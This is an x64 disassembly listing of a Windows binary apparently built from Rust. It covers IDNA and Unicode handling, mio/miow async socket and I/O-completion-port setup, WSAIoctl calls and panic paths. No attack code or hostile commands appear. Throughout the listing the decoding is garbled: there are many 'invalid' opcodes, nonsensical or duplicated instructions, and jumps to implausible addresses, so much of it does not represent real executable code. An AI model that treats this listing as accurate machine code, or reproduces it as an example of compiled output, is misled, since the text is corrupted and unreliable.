cmp rdx, r8
mov r12d, 0
sbb r12, r12
cmp rdx, r8
mov r15d, 0
adc r15, 0xffffffffffffffff
shl r12, 4
add r12, rax
shl r15, 4
add r15, rcx
cmp rdx, r8
mov rax, r15
cmovb rax, r12
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
cmp r12, rsi
jbe 0x14006d5fa
add rbp, 0xfffffffffffffff0
cmp r15, rbx
ja 0x14006d5a5
mov rsi, r12
jmp 0x14006d683
mov rax, qword [rsp + 0x298]
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov r8, qword [rsp + 0x1f0]
test r8, r8
je 0x14006d801
cmp rdx, r8
jbe 0x14006d7ff
cmp byte [rcx + r8], 0xbf
jg 0x14006d801
lea rax, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.2.3_srcuts46.rs
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.140104d80
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srcdecompose.rs
mov rdx, rax
call fcn.140104820
jne 0x14006d7dc
sub rdx, r8
add rcx, r8
xor eax, eax
lea rsi, [rsp + 0x58]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], rcx
mov qword [rsi + 0x18], rdx
mov qword [rsi + 0x20], rax
mov qword [rsi + 0x28], rdx
movabs rax, 0x2e0000002e
mov qword [rsi + 0x30], rax
mov byte [rsi + 0x38], 1
mov word [rsi + 0x40], 1
mov r12d, 1
lea rax, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.2.3_srcpunycode.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, rsi
mov r8, rbx
jmp 0x14006dd65
lea rcx, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrarycore_src_slice_sort.rs
call fcn.140104c30
lea rcx, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrarycore_src_slice_sort.rs
call fcn.140104c30
int3
mov dh, 0x47
add dword [rcx - 0x7d], eax
and eax, 0x3f
and eax, 0x3f
stc
fbstp tbyte [rsi + 0x35]
loopne 0x14006df92
jrcxz 0x1400706b4
or rbx, 2
mov rsi, qword [rsp + 0x48]
lea rcx, [rsi + 0x30]
xor al, r13b
invalid
cld
invalid
dec dword [rax - 0x39]
xor byte [rbx], r8b
add byte [rax], al
add byte [rax], al
xor al, r13b
invalid
add byte [rax], al
mov qword [rsi + 0x38], rbx
cmp qword [rsp + 0x58], 0
je 0x140070776
jl 0x1400706da
pop rax
add byte [rdi], cl
test byte [rax + 0x48000000], bh
mov eax, dword [rsi + 8]
mov rax, qword [rsi + 8]
mov rdx, qword [rax]
and edx, 0xd
or rdx, 2
jmp 0x14007077b
lea rcx, [rdi + 0x30]
call fcn.1400702e5
mov qword [rdi + 0x30], 1
mov rax, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
movups xmm0, xmmword [rax]
movups xmmword [rdi + 0x38], xmm0
mov rax, qword [rax + 0x10]
mov qword [rdi + 0x48], rax
mov qword [rdi + 0x50], r15
lock inc qword [rsi + 0xe0]
jmp 0x14007081b
mov edx, 2
mov r14, qword [rsp + 0x40]
mov rcx, rsi
call fcn.1400701bd
mov rax, qword [rsi + 0x18]
cmp rax, 2
jne 0x140070802
mov rsi, qword [rsi + 0x10]
test rsi, rsi
je 0x140070802
lea rdi, [rsi + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi + 0x10], cl
jne 0x14007084d
mov rax, qword [0x1401aa508]
shl rax, 1
test rax, rax
jne case.0x1400255da.1071
xor ebx, ebx
mov al, byte [rsi + 0x11]
test al, al
jne 0x14007087b
mov rcx, qword [r14]
mov r8, qword [r14 + 8]
mov rax, qword [rsi + 0x28]
cmp rax, qword [rsi + 0x18]
jae 0x14007082d
mov rdx, qword [rsi + 0x20]
lea r9, [rax + rax*2]
mov qword [rdx + r9*8], rcx
mov qword [rdx + r9*8 + 8], r8
mov qword [rdx + r9*8 + 0x10], 0
inc rax
mov qword [rsi + 0x28], rax
jmp 0x140070841
cmp qword [r14], 0
je 0x14007081b
mov r8, qword [r14 + 8]
mov rcx, qword [0x1401aa478]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rcx, rcx
je 0x140070841
mov rcx, qword [0x1401aa478]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rdi
mov edx, ebx
call fcn.140001b2b
jmp 0x14007081b
mov rcx, rdi
call fcn.1401071d0
jmp 0x1400707ae
call fcn.140107290
mov ebx, eax
xor bl, 1
add ecx, ebp
pop rdx
invalid
invalid
invalid
add ecx, ebp
pop rdx
invalid
movabs al, byte [0x8948f9894c000f8d]
invalid
mov edx, ebp
call fcn.140104810
lea r8, [rsp + 0x68]
mov qword [r8], rdi
mov byte [r8 + 8], bl
push 0x41388949
mov byte [rax + 8], bl
lea rax, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.6.23_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401691a8]
mov dword [rdi], ecx
add byte [rdx + 0x2b], bh
mov dword [rdi], ecx
add byte [rdx + 0x2b], bh
call fcn.140104ba0
int3
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.140070f0a
je 0x1400709a5
lea rcx, str.unable_to_release_lockC:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.6.23_srclazycell.rs
lea r8, [0x1401696d0]
mov edx, 0x16
add byte [rax], al
add al, ch
xchg ebx, eax
push rsp
or dword [rax], eax
add byte [rax], al
add al, ch
xchg ebx, eax
push rsp
or dword [rax], eax
lock dec qword [rbp]
jne 0x1400709a5
add byte [rbp + 8], dh
mov rcx, rbp
call fcn.14006f7b9
invalid
invalid
invalid
mov ebp, r15d
and bpl, 1
mov rcx, r13
mov rdx, r12
call fcn.14006ff98
cmc
invalid
dec dword [rcx - 0x77]
mov ebp, eax
cmc
invalid
mov ebp, eax
test rax, rax
je 0x1400709e0
mov rcx, rsi
mov edx, ebp
call fcn.140001b2b
mov rax, r13
add rsp, 0xa8
add esp, 0xa8
add esp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [r12]
add al, 0x24
mov rcx, qword [rbx]
mov rdx, qword [rax + 0x38]
mov r15, qword [rsp + 0x80]
mov r8, r15
xor r9d, r9d
xor ecx, ecx
xor ecx, ecx
call sub.kernel32.dll_CreateIoCompletionPort
test rax, rax
je 0x140070b46
mov rbx, qword [r12 + 8]
and al, 8
lock inc qword [rbx]
jle 0x140070cf2
mov byte [rsp + 0x53], bpl
mov al, byte [0x1401aa510]
out dx, eax
invalid
adc eax, dword [rax]
mov edx, 0x40
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x140070cf4
out dx, eax
invalid
mov r13, rax
mov r12, rsi
add r12, 8
lea rbp, [rdi + 8]
shl r14, 8
mov rax, qword [rsp + 0x58]
shl rax, 4
or rax, r14
mov qword [r13], rax
mov qword [r13 + 8], r15
xorps xmm0, xmm0
movups xmmword [r13 + 0x10], xmm0
mov qword [r13 + 0x20], 0
mov qword [r13 + 0x28], rbx
mov qword [r13 + 0x30], 3
mov byte [r13 + 0x38], 0
cmp qword [r12], 0
je 0x140070a8d
mov rcx, qword [rsi + 0x10]
call fcn.14006f6e4
mov qword [rsi + 8], 1
mov qword [rsi + 0x10], r13
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbp], cl
jne 0x140070cd4
mov rax, qword [0x1401aa508]
shl rax, 1
test rax, rax
jne 0x140070ce1
xor r15d, r15d
mov al, byte [rdi + 9]
test al, al
jne 0x140070d03
cmp qword [rdi + 0x10], 0
je 0x140070ae2
mov rcx, qword [rdi + 0x18]
call fcn.14006ff4f
mov rcx, qword [rdi + 0x18]
call fcn.14006f6e4
mov qword [rdi + 0x10], 1
mov qword [rdi + 0x18], r13
mov rcx, rbp
mov edx, r15d
call fcn.140001b2b
mov rax, qword [rdi]
mov rcx, qword [rax]
mov dl, 3
call sub.kernel32.dll_SetFileCompletionNotificationModes
jle 0x140070b23
or dword [rax], eax
jle 0x140070b23
or dword [rax], eax
cmp eax, 1
jne 0x140070b5b
mov byte [rsi + 0x80], 1
movzx ebx, word [rsi + 0x60]
mov word [rsi + 0x60], 2
add byte [rax], al
add dword [rdi], ecx
mov bh, 0x5e
invalid
cmp bx, 2
jne 0x140070b75
mov rcx, rdi
mov ecx, edi
mov rdx, qword [rsp + 0x58]
mov r8, r12
call fcn.140070049
mov rcx, rsi
mov dl, byte [rsp + 0x53]
call fcn.140001b2b
xor r13d, r13d
jmp 0x1400709c9
call sub.kernel32.dll_GetLastError
mov r13d, eax
shl r13, 0x20
or r13, 2
jmp 0x1400709bf
call sub.kernel32.dll_GetLastError
invalid
mov r13d, eax
shl r13, 0x20
or r13, 2
mov bpl, byte [rsp + 0x53]
jmp 0x1400709bf
movzx eax, word [rsi + 0x72]
mov word [rsp + 0x70], ax
movups xmm0, xmmword [rsi + 0x62]
movaps xmmword [rsp + 0x60], xmm0
mov r12d, dword [rsi + 0x74]
mov ebp, dword [rsi + 0x78]
movzx r15d, word [rsi + 0x7c]
mov r14, qword [rdi]
mov rdi, qword [r14]
mov rax, qword [0x1401aa0e0]
test rax, rax
jne 0x140070c23
lea rax, [rsp + 0x88]
mov qword [rax], 0
lea rcx, [rsp + 0x54]
mov dword [rcx], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 8
lea r8, [0x1401aa0d0]
mov rcx, rdi
mov edx, 0xc8000006
mov r9d, 0x10
call sub.ws2_32.dll_WSAIoctl
cmp eax, 0xffffffff
jne 0x140070c08
call sub.ws2_32.dll_WSAGetLastError
cmp eax, 0x3e5
jne 0x140070b60
mov rax, qword [rsp + 0x88]
mov rcx, rax
xchg qword [0x1401aa0e0], rcx
test rax, rax
je 0x140070d36
lea rcx, [r14 + 8]
test bx, bx
je 0x140070c43
rol r15w, 8
mov r8d, 0x1c
mov r9w, 0x17
movups xmm0, xmmword [rsp + 0x62]
jmp 0x140070c61
movzx r15d, word [rsp + 0x64]
rol r15w, 8
mov r8d, 0x10
mov r9w, 2
xorps xmm0, xmm0
mov r12d, dword [rsp + 0x60]
lea rdx, [rsp + 0x88]
mov word [rdx], r9w
mov word [rdx + 2], r15w
mov dword [rdx + 4], r12d
movups xmmword [rdx + 8], xmm0
mov dword [rdx + 0x18], ebp
xor r9d, r9d
lea r10, [rsp + 0x54]
mov dword [r10], r9d
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r10
mov dword [rsp + 0x20], r9d
lea r9, [0x14019e2d0]
mov rcx, rdi
call rax
cmp eax, 1
jne 0x140070caf
mov bpl, byte [rsp + 0x53]
jmp 0x140070cc4
call sub.ws2_32.dll_WSAGetLastError
cmp eax, 0x3e5
mov bpl, byte [rsp + 0x53]
jne 0x140070b4b
lock inc qword [r14 + 0xe0]
add byte [rax], al
xor r13d, r13d
jmp 0x1400709bf
invalid
dec dword [rax - 0x77]
jmp 0x1496c01c3
mov rcx, rbp
call fcn.1401071d0
jmp 0x140070aa8
call fcn.140107290
or dword [rax], eax
mov r15d, eax
xor r15b, 1
jmp 0x140070abe
std
invalid
invalid
std
invalid
ud2
mov ecx, 8
mov edx, 0x40
call fcn.140103be0
lea r8, [rsp + 0x88]
mov qword [r8], rbp
mov byte [r8 + 8], r15b
lea rax, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.6.23_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140169208]
mov edx, 0x2b
call fcn.140104ba0
lea rcx, str.assertion_failed:_ptr___0C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmiow_0.2.2_src_net.rs
lea r8, [0x1401697d8]
mov edx, 0x1a
call fcn.1401048a0
int3
pop rbx
invalid
mov al, byte [r14 + 9]
test al, al
jne 0x140070e18
cmp qword [r14 + 0x10], 0
je 0x140070e48
add r14, 0x18
mov qword [rsp + 0x20], 0
mov rcx, r14
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call fcn.14006fd7f
mov r12, rax
mov rcx, r15
mov edx, ebp
call fcn.140001b2b
and bl, 1
mov rcx, rsi
mov edx, ebx
call fcn.140001b2b
or eax, 0x894cfff9
loopne 0x140070e3b
add esp, 0x40
or eax, 0x894cfff9
loopne 0x140070e3b
add esp, 0x40
pop rbx
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
invalid
mov al, ch
and byte [rcx + rcx], 0x89
invalid
xor ch, 1
jmp 0x140070da4
lea r8, [rsp + 0x30]
mov qword [r8], r15
mov byte [r8 + 8], bpl
xor byte [rbp - 0x77], cl
cmp byte [rcx - 0x78], al
push 0x58d4808
lea rax, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.6.23_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rax, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.6.23_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
xchg dword [rdi], ecx
add byte [rax - 0x77], cl
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140169208]
invalid
or dword [rdi], 0
add byte [rdx + 0x2b], bh
mov edx, 0x2b
call fcn.140104ba0
lea rcx, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.6.23_src_syswindows_selector.rs
call fcn.140104c30
or dword [rax], eax
or dword [rax], eax
int3
sal dword [rdi + rdi*2 + 0x48], 0x8d
adc al, 0
cmp rdx, rcx
cmova rcx, rdx
xor edx, edx
mov r8, rcx
shr r8, 0x3c
sete dl
cmp rcx, 5
mov ebx, 4
cmovae rbx, rcx
invalid
lea r8, [rbx*8]
shl edx, 3
test rax, rax
je 0x140070eb7
invalid
shl rax, 3
mov rcx, qword [rsi + 8]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x48], rax
mov eax, 8
jmp 0x140070eb9
xor eax, eax
lea r9, [rsp + 0x38]
mov qword [r9 + 8], rax
lea rdi, [rsp + 0x20]
mov rcx, rdi
call fcn.1400cbeb4
cmp qword [rdi], 0
jne 0x140070ef0
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi], rbx
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
call fcn.140103bc0
int3
pop rsp
mov esi, ecx
pop r12
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
fnstcw word [rbp + 9]
invalid
fnstcw word [rbp + 9]
add byte [rax + 0x58c48348], dl
nop
add rsp, 0x58
pop rdi
add byte [rax], al
jb case.0x140065a39.142
mov eax, 2
cmp edx, 0x800
jb case.0x140065a39.142
cmp edx, 0x10000
add byte [rax + 1], cl
add dword [rcx], esi
invalid
ret